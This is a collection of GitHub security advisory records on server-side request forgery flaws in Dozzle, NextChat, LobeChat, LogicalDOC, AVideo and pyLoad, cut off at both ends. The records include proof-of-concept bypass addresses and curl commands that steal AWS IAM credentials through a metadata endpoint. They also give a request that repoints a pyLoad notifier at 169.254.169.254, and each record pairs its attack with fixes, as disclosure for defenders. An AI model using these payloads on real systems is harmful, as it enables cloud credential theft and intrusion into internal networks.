users from using webhook delivery as a proxy to reach the host machine\u0027s loopback services or cloud metadata endpoint.\n\n### Attack chain\n\n1. Authenticated user creates a webhook notification with URL `http://[2002:7f00:0001::1]:8080/` (6to4 embedding 127.0.0.1)\n2. When a notification triggers, Dozzle\u0027s webhook dispatcher calls `safeDialContext`\n3. The IPv6 address `2002:7f00:0001::1` is checked against `isBlockedIP` -- all predicates return false\n4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1\n5. The webhook POST reaches the host\u0027s loopback services\n\n## Impact\n\nAn authenticated user can bypass the SSRF guard to:\n\n- Reach cloud metadata service at 169.254.169.254 via `2002:a9fe:a9fe::1` (6to4) to steal instance credentials\n- Reach localhost services via `64:ff9b::7f00:1` (NAT64) or `2002:7f00:0001::1` (6to4)\n- The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)\n\nNote: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.\n\n## Proof of concept\n\nBypass vectors:\n\n```\n# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)\nhttp://[2002:7f00:0001::1]:8080/\n\n# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n\n# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[2002:a9fe:a9fe::1]/latest/meta-data/\n\n# Teredo embedding 127.0.0.1\nhttp://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/\n```\n\nVerification that `isBlockedIP` returns false for all vectors:\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n)\n\nfunc isBlockedIP(ip net.IP) bool {\n    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||\n        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()\n}\n\nfunc main() {\n    for _, v := range []string{\n        \"2002:7f00:0001::1\",    // 6to4 -\u003e 127.0.0.1\n        \"64:ff9b::a9fe:a9fe\",   // NAT64 -\u003e 169.254.169.254\n        \"2002:a9fe:a9fe::1\",    // 6to4 -\u003e 169.254.169.254\n    } {\n        ip := net.ParseIP(v)\n        fmt.Printf(\"%-35s blocked=%v\\n\", v, isBlockedIP(ip))\n    }\n}\n// Output: all false\n```\n\n## Remediation\n\nAdd IPv6 transition mechanism prefix checks to `isBlockedIP`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\t// ... existing checks ...\n\n\t// IPv6 transition mechanisms embedding arbitrary IPv4\n\tif len(ip) == net.IPv6len {\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x02 { return true } // 6to4\n\t\tif ip[0] == 0x00 \u0026\u0026 ip[1] == 0x64 \u0026\u0026 ip[2] == 0xff \u0026\u0026 ip[3] == 0x9b { return true } // NAT64\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x01 \u0026\u0026 ip[2] == 0x00 \u0026\u0026 ip[3] == 0x00 { return true } // Teredo\n\t}\n\treturn false\n}\n```\n\n## Credit\n\nReported by tonghuaroot (tonghuaroot@gmail.com).",
  "id": "GHSA-p2w3-6x73-2f6x",
  "modified": "2026-09-08T18:11:56Z",
  "published": "2026-09-08T18:11:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-p2w3-6x73-2f6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/pull/4887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/commit/8cf7ccd5ee041ecaea92b49951793d4d2393761f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.6.15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher"
}

GHSA-P35R-JG68-WCCX

Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-04-28 00:31
VLAI
Details

A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-27T22:16:19Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-p35r-jg68-wccx",
  "modified": "2026-04-28T00:31:40Z",
  "published": "2026-04-28T00:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ChatGPTNextWeb/NextChat/issues/6741"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/43252d45d75e8bdd2d45136fd6ffe8a5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ChatGPTNextWeb/NextChat"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/797646"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359780"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359780/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P36R-QXGX-JQ2V

Vulnerability from github – Published: 2024-06-17 22:28 – Updated: 2024-06-17 22:28
VLAI
Summary
Lobe Chat API Key Leak
Details

Summary

If an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.

Details

The attack process is described above.

image

PoC

Frontend: 1. Pass basic authentication (SSO/Access Code). 2. Set the Base URL to a private attack address. 3. Configure the request method to be a server-side request. 4. At the self-set attack address, retrieve the API Key information from the request headers.

Backend: 1. The LobeChat version allows setting the Base URL. 2. There is no outbound traffic whitelist.

Impact

All community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.162.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-17T22:28:41Z",
    "nvd_published_at": "2024-06-17T20:15:13Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nIf an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.\n\n### Details\n\nThe attack process is described above.\n\n![image](https://github.com/lobehub/lobe-chat/assets/36695271/df5e0c3c-af28-45c3-959f-182cc9d06680)\n\n### PoC\n\nFrontend:\n1. Pass basic authentication (SSO/Access Code).\n2. Set the Base URL to a private attack address.\n3. Configure the request method to be a server-side request.\n4. At the self-set attack address, retrieve the API Key information from the request headers.\n\nBackend:\n1. The LobeChat version allows setting the Base URL.\n2. There is no outbound traffic whitelist.\n\n### Impact\n\nAll community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.",
  "id": "GHSA-p36r-qxgx-jq2v",
  "modified": "2024-06-17T22:28:41Z",
  "published": "2024-06-17T22:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-p36r-qxgx-jq2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37895"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lobe Chat API Key Leak"
}

GHSA-P38P-XRW4-9MJ3

Vulnerability from github – Published: 2026-07-13 21:31 – Updated: 2026-07-13 21:31
VLAI
Details

LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-45869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.",
  "id": "GHSA-p38p-xrw4-9mj3",
  "modified": "2026-07-13T21:31:24Z",
  "published": "2026-07-13T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netero1010/Vulnerability-Disclosure/blob/main/CVE-2025-45869/README.md"
    },
    {
      "type": "WEB",
      "url": "https://www.logicaldoc.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P3GR-G84W-G8HH

Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49
VLAI
Summary
AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy
Details

Summary

The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.

Details

The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:

  1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./)
  2. IPv6 checks (lines 4150-4166): Checks for ::1, fe80::/10 (link-local), and fc00::/7 (unique local)

The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:

// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"

// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    $resolvedIP = gethostbyname($host);  // SKIPPED
}
$ip = $host;  // $ip = "::ffff:169.254.169.254"

// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip))  // NO MATCH

// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...)                    // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip))  // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip))  // NO MATCH

// Line 4168: returns TRUE — bypass complete
return true;

The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:

// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;

After the bypass, two requests are made to the attacker-controlled URL: 1. get_headers() at line 40 (via stream context) 2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)

PoC

Read AWS instance metadata (IAM credentials):

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'

Access localhost services:

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'

Scan internal network:

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'

Steal AWS IAM role credentials (full chain):

# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')

# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"

Impact

  • Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
  • Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
  • Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
  • No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.

Recommended Fix

Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:

// In isSSRFSafeURL(), replace lines 4099-4166 with:

// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    _error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
    return false;
}

This single check replaces all the manual regex patterns and correctly handles: - All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16) - Loopback (127/8, ::1) - Link-local (169.254/16, fe80::/10) - Unique local (fc00::/7) - IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding - Other reserved ranges (0/8, 100.64/10 CGN, etc.)

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:10Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n    $resolvedIP = gethostbyname($host);  // SKIPPED\n}\n$ip = $host;  // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON\u0027T match (not dotted-decimal)\nif (preg_match(\u0027/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/\u0027, $ip))  // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don\u0027t cover ::ffff: prefix\nif ($ip === \u0027::1\u0027 || ...)                    // NO MATCH\nif (preg_match(\u0027/^fe[89ab][0-9a-f]:/i\u0027, $ip))  // NO MATCH\nif (preg_match(\u0027/^f[cd][0-9a-f]{2}:/i\u0027, $ip))  // NO MATCH\n\n// Line 4168: returns TRUE \u2014 bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) \u2014 response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/\u0027\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/\u0027\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/\u0027\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u0027)\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP\u0027s built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n    return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** \u2014 the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)",
  "id": "GHSA-p3gr-g84w-g8hh",
  "modified": "2026-03-25T18:49:36Z",
  "published": "2026-03-20T20:44:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy"
}

GHSA-P3PR-8F3M-4QP8

Vulnerability from github – Published: 2026-10-09 17:09 – Updated: 2026-10-09 17:09
VLAI
Summary
pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
Details

Summary

pyLoad ships the WindowsPhoneNotify addon, whose send() method opens an HTTP connection to a host taken directly from the plugin's pushurl configuration value. A user holding the standard non-admin SETTINGS permission can set pushurl and pushid and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's http.client.HTTPConnection, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint 169.254.169.254.

Root Cause

pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a PREREQFUNCTION callback calls is_global_address() on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (http.client.HTTPConnection) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.

Affected symbols:
- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.
- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.

Impact

An authenticated user with the non-admin SETTINGS permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (pushurl), the request path (pushid), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.

Proof of Concept

Preconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.
  1. As a user with the SETTINGS permission, POST to /json/save_config with category="plugin" and config values WindowsPhoneNotify|pushurl=169.254.169.254, WindowsPhoneNotify|pushid=/latest/meta-data/, and WindowsPhoneNotify|enabled=True.
  2. The write is accepted because (WindowsPhoneNotify, pushurl) is not in the admin-only option set, and setting enabled to true triggers the addon manager's dynamic activation callback, loading the plugin immediately.
  3. Allow (or cause) any download to finish. The global download_finished event iterates activated addons and invokes the notifier.
POST /json/save_config HTTP/1.1
Host: pyload.target
Cookie: <authenticated session with SETTINGS>
Content-Type: application/x-www-form-urlencoded

category=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D

Observed result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends "POST /latest/meta-data/" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.

Attack Chain

  1. Exposure: The /json/save_config web endpoint is network reachable and gated only by login_required("SETTINGS"), a standard non-admin permission bit.
  2. Control: The attacker supplies the notifier pushurl (host and port), pushid (request path), and enabled flag as config values.
  3. Path: set_config_value writes the plugin options; the addon manager's config-change callback fires on enabled and activates the addon without a restart; a completed download dispatches the global download_finished event to activated addons.
  4. Guard: The config-write check consults ADMIN_ONLY_PLUGIN_OPTIONS, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl PREREQFUNCTION SSRF guard and is_global_address are never invoked on this path.
  5. Primitive: WindowsPhoneNotify.send() calls http.client.HTTPConnection(pushurl) and issues a POST to pushid.
  6. Result: A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position.

Bypass Evidence

pyLoad's outbound SSRF protection lives entirely in the pycurl request path: is_global_address() is called only from the pycurl PREREQFUNCTION callback, and is_global_host() is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses http.client.HTTPConnection, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and failed: the SETTINGS permission is a non-admin bit that an admin can grant independently of the admin role; the admin-only plugin option set does not contain the notifier fields; the dynamic activation callback fires on enabled and the activation and download-event handlers share a lock so there is no activation race; the notifier key-emptiness, client-connection, and rate-limit checks all pass with attacker-chosen non-empty values and default settings; and the testing plugin status is loadable (only broken is rejected).

Affected Versions

  • Ecosystem: pip
  • Package: pyload-ng
  • Confirmed affected range: <= 0.5.0b3.dev101
  • Latest release checked: pyload-ng 0.5.0b3.dev101 (PyPI sdist, sha256 427cfb35bc8e0db104e86a53576b2fdef99127aec178b80f58380a7977130251)
  • Fix status: not fixed in any released version

The vulnerable send() method and the narrow admin-only plugin option set are present in the latest published PyPI artifact, pyload_ng-0.5.0b3.dev101. The project publishes only prerelease builds; there is no final 0.5.0 release, so the upper bound is the latest published prerelease. The introduction point was not bisected, so the range uses an open lower bound; the WindowsPhoneNotify addon carries an internal plugin version of 0.19, indicating a long history. No published version contains a fix.

Suggested Fix

Enforce the same outbound destination policy on every HTTP client pyLoad uses, not only the pycurl path. Before the notifier opens a connection, resolve the configured host and reject non-global or otherwise disallowed destinations using the existing is_global_host / is_global_address logic (including the IPv6 transition-form handling), or route all addon HTTP traffic through a single hardened client that applies the guard. As defense in depth, add the WindowsPhoneNotify host and path options (and any other plugin option that designates a network destination) to the admin-only option set so a non-admin SETTINGS user cannot repoint them. Interim mitigation: restrict the SETTINGS permission to trusted accounts and ensure the pyLoad host cannot reach sensitive internal endpoints such as the cloud metadata service.

Reported by zx (GitHub: @manus-pi).

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev101"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T17:09:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
